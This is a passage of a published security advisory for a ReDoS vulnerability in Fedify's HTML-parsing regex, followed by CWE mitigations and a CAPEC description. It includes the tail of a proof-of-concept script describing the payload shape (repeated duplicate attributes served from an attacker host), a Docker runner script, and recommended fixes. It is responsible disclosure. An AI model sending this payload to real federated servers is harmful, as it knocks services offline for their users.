console.log(\u0027[*] Attack Scenario\u0027);\n printSeparator();\n \n console.log(\u0027\u0027);\n console.log(\u00271. Attacker sets up malicious federated server\u0027);\n console.log(\u00272. Victim\\\u0027s Fedify app calls lookupObject(\"https://attacker.com/@user\")\u0027);\n console.log(\u00273. Attacker responds with Content-Type: text/html\u0027);\n console.log(\u00274. Malicious HTML payload: \u003ca a=\"b\" a=\"b\" a=\"b\"... (N times) \u0027);\n console.log(\u00275. Fedify\\\u0027s regex enters catastrophic backtracking\u0027);\n console.log(\u00276. Event loop blocked \u2192 Service unavailable (DoS)\u0027);\n console.log(\u0027\u0027);\n \n printSeparator();\n \n if (vulnerabilityConfirmed) {\n console.log(\u0027\u0027);\n console.log(\u0027\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\u0027);\n console.log(\u0027\u2551 \u2713 VULNERABILITY CONFIRMED \u2551\u0027);\n console.log(\u0027\u2551 \u2551\u0027);\n console.log(\u0027\u2551 The HTML parsing regex in docloader.ts is vulnerable \u2551\u0027);\n console.log(\u0027\u2551 to ReDoS attacks. A ~150 byte payload can block the \u2551\u0027);\n console.log(\u0027\u2551 Node.js event loop for 7+ seconds. \u2551\u0027);\n console.log(\u0027\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\u0027);\n console.log(\u0027\u0027);\n process.exit(0);\n } else {\n console.log(\u0027\u0027);\n console.log(\u0027[!] Vulnerability could not be confirmed in this environment.\u0027);\n console.log(\u0027 This may be due to regex engine optimizations.\u0027);\n console.log(\u0027\u0027);\n process.exit(1);\n }\n}\n\nmain().catch(console.error);\n```\n\n\u003c/details\u003e\n\n\u003cdetails\u003e\n\u003csummary\u003e\u003cstrong\u003erun_poc.sh\u003c/strong\u003e\u003c/summary\u003e\n\n```bash\n#!/bin/bash\n# Fedify ReDoS Vulnerability PoC Runner\n\nset -e\n\nIMAGE_NAME=\"fedify-redos-poc\"\n\necho \"Building Docker image...\"\ndocker build -t ${IMAGE_NAME} .\n\necho \"Running the PoC...\"\ndocker run --rm ${IMAGE_NAME}\n\necho \"Cleaning up...\"\ndocker rmi ${IMAGE_NAME} 2\u003e/dev/null || true\n```\n\n\u003c/details\u003e\n\n### Running the Docker PoC\n\n```bash\n# Save the above files, then:\nchmod +x run_poc.sh\n./run_poc.sh\n```\n\n---\n\n## Impact\n\n### Who Is Affected?\n\n- **All Fedify applications** that use `lookupObject()`, `getDocumentLoader()`, or the built-in document loader to fetch content from external URLs\n- **Any federated server** that fetches actor profiles, posts, or other ActivityPub objects from potentially untrusted sources\n- **Servers following standard federation patterns** - fetching remote actors is a normal operation\n\n### Severity Assessment\n\n| Factor | Assessment |\n|--------|------------|\n| **Attack Vector** | Network (remote) |\n| **Attack Complexity** | Low (trivial payload) |\n| **Privileges Required** | None |\n| **User Interaction** | None |\n| **Impact** | Availability (DoS) |\n| **Scope** | Service-wide |\n\n### Real-World Scenario\n\n1. A Mastodon-compatible server powered by Fedify receives a follow request or mention from `@attacker@evil.com`\n2. The server attempts to fetch the attacker\u0027s profile via `lookupObject()`\n3. The attacker\u0027s server responds with malicious HTML\n4. The victim server\u0027s event loop is blocked for 14+ seconds\n5. During this time, all other requests are queued and potentially time out\n6. Repeated attacks can cause sustained service unavailability\n\n---\n\n## Recommended Fix\n\n### Option 1: Use a Proper HTML Parser (Recommended)\n\nReplace regex-based HTML parsing with a DOM parser that doesn\u0027t suffer from backtracking issues:\n\n```typescript\n// Using linkedom (lightweight DOM implementation)\nimport { parseHTML } from \u0027linkedom\u0027;\n\n// Replace lines 258-287 with:\nconst { document } = parseHTML(html);\nconst links = document.querySelectorAll(\u0027a[rel=\"alternate\"], link[rel=\"alternate\"]\u0027);\n\nfor (const link of links) {\n const type = link.getAttribute(\u0027type\u0027);\n const href = link.getAttribute(\u0027href\u0027);\n \n if (\n href \u0026\u0026\n (type === \u0027application/activity+json\u0027 ||\n type === \u0027application/ld+json\u0027 ||\n type?.startsWith(\u0027application/ld+json;\u0027))\n ) {\n const altUri = new URL(href, docUrl);\n if (altUri.href !== docUrl.href) {\n return await fetch(altUri.href);\n }\n }\n}\n```\n\n### Option 2: Add Response Size Limits\n\nIf regex must be used, at minimum add size limits:\n\n```typescript\nconst MAX_HTML_SIZE = 1024 * 1024; // 1MB\nconst contentLength = parseInt(response.headers.get(\u0027content-length\u0027) || \u00270\u0027);\n\nif (contentLength \u003e MAX_HTML_SIZE) {\n throw new FetchError(url, \u0027Response too large\u0027);\n}\n\nconst html = await response.text();\nif (html.length \u003e MAX_HTML_SIZE) {\n throw new FetchError(url, \u0027Response too large\u0027);\n}\n```\n\n### Option 3: Refactor the Regex\n\nIf the regex approach is preferred, use atomic grouping or possessive quantifiers (where supported), or restructure to avoid nested quantifiers:\n\n```typescript\n// Use a non-backtracking approach with explicit attribute matching\nconst tagPattern = /\u003c(a|link)\\s+([^\u003e]+)\u003e/ig;\nconst attrPattern = /([a-z][a-z:_-]*)=(?:\"([^\"]*)\"|\u0027([^\u0027]*)\u0027|(\\S+))/ig;\n```\n\n---\n\n## Resources\n\n- [OWASP: Regular Expression Denial of Service (ReDoS)](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)\n- [CWE-1333: Inefficient Regular Expression Complexity](https://cwe.mitre.org/data/definitions/1333.html)\n- [Cloudflare Outage Analysis (ReDoS Example)](https://blog.cloudflare.com/details-of-the-cloudflare-outage-on-july-2-2019/)\n\n---\n\nThank you for taking the time to review this report. I\u0027m happy to provide any additional information or help test a fix. Please let me know if you have any questions!",
"id": "GHSA-rchf-xwx2-hm93",
"modified": "2025-12-23T16:01:12Z",
"published": "2025-12-22T21:36:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/fedify-dev/fedify/security/advisories/GHSA-rchf-xwx2-hm93"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68475"
},
{
"type": "WEB",
"url": "https://github.com/fedify-dev/fedify/commit/2bdcb24d7d6d5886e0214ed504b63a6dc5488779"
},
{
"type": "WEB",
"url": "https://github.com/fedify-dev/fedify/commit/bf2f0783634efed2663d1b187dc55461ee1f987a"
},
{
"type": "PACKAGE",
"url": "https://github.com/fedify-dev/fedify"
},
{
"type": "WEB",
"url": "https://github.com/fedify-dev/fedify/releases/tag/1.6.13"
},
{
"type": "WEB",
"url": "https://github.com/fedify-dev/fedify/releases/tag/1.7.14"
},
{
"type": "WEB",
"url": "https://github.com/fedify-dev/fedify/releases/tag/1.8.15"
},
{
"type": "WEB",
"url": "https://github.com/fedify-dev/fedify/releases/tag/1.9.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Fedify has ReDoS Vulnerability in HTML Parsing Regex"
}
Mitigation
Use regular expressions that do not support backtracking, e.g. by removing nested quantifiers.
Mitigation
Set backtracking limits in the configuration of the regular expression implementation, such as PHP's pcre.backtrack_limit. Also consider limits on execution time for the process.
Mitigation
Do not use regular expressions with untrusted input. If regular expressions must be used, avoid using backtracking in the expression.
Mitigation
Limit the length of the input that the regular expression will process.
CAPEC-492: Regular Expression Exponential Blowup
An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.